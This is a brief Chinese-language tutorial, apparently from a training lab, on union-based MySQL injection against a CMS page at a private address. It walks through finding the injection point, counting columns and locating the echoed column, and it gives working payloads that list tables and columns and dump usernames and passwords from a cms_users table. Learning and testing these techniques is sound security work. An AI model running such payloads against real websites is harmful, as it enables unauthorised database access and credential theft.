相关知识点补充
关于MySQL注入的相关知识
具体步骤演示
- SQL注入流程
数据库-->表-->列-->数据(字段)
1.判断是否存在注入点
由下图可以看到页面有回显,且显示报错 可以考虑联合查询注入和报错注入,但又考虑到注入成本,所以优先考虑使用联合查询注入
2.在确认存在注入点时,使用order by 判断数据库中的列数
判断数据库列数为15列
3.判断出回显位
法一:把第一条select语句的查询条件置为假。
http://10.9.75.31/cms/show.php?id=34 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
法二:利用null 使用单引号依次对null位进行按位测试 若页面回显null则判断其为回显位
4.查询数据库、版本号
- 数据库
- 版本号
- 用户名
5.查询对应表名
id=-34 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()
6.查询对应列名
id=-33 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
7.查询数据
union select 1,2,3,4,5,6,7,8,9,10,concat(username,':',password),12,13,14,15 from cms_users